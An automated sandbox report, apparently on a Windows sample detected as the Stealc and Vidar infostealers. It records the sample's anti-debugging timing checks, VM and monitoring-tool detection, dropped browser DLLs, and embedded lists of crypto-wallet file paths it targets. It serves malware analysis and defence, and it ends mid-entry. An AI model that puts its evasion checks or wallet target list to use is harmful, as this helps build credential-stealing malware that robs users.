Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4DD26 second address: A4DD6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDEE4BB4C06h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FDEE4BB4C06h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007FDEE4BB4C10h 0x0000001c nop 0x0000001d jmp 00007FDEE4BB4C0Bh 0x00000022 push dword ptr [ebp+122D304Dh] 0x00000028 mov edx, dword ptr [ebp+122D2A4Bh] 0x0000002e push 968D0AEBh 0x00000033 pushad 0x00000034 push ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4DD6E second address: A4DD7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007FDEE5138E46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F003 second address: A4F009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F009 second address: A4F00F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F00F second address: A4F035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDEE4BB4C06h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FDEE4BB4C10h 0x00000011 jbe 00007FDEE4BB4C06h 0x00000017 push edi 0x00000018 pop edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F035 second address: A4F03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F03A second address: A4F046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FDEE4BB4C06h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4F046 second address: A4F04A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A526FE second address: A52713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE4BB4C11h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0393 second address: 51A03B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03B0 second address: 51A03C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE4BB4C0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03C0 second address: 51A03C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A03C4 second address: 51A03D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96FAB2 second address: 96FAB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B75 second address: 51A0B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0B7A second address: 51A0BB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E54h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDEE5138E50h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FDEE5138E4Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0BB5 second address: 51A0BBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0BBB second address: 51A0BE8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE5138E4Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FDEE5138E58h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0BE8 second address: 51A0BFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDEE4BB4C0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0BFF second address: 51A0C03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C03 second address: 51A0C09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C09 second address: 51A0C26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDEE5138E59h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C26 second address: 51A0C2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C2A second address: 51A0C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edi, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51A0C3A second address: 51A0C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7D19B7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 965923 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9F25C8 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00584910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0057DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0057E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0057BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005716D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_005716D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0057F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00583EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00583EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005838B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005838B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00584570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00584570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0057ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0057DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0057DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00571160 GetSystemInfo,ExitProcess,

0_2_00571160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<`]A
Source: file.exe, 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1950543917.0000000001333000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13576
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13562
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13565
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13583
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14751
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13616

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_005745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_005745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00589860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00589750 mov eax, dword ptr fs:[00000030h]

0_2_00589750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00587850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00587850

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7336, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00589600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00589600

Source: file.exe, file.exe, 00000000.00000002.1950071501.0000000000946000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: wProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00587B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00586920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00586920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00587850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00587850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00587A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00587A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1723473473.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1950543917.00000000012EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1949764070.0000000000571000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7336, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7336, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1950543917.0000000001346000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonh)
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1950543917.0000000001364000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.L}=A

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

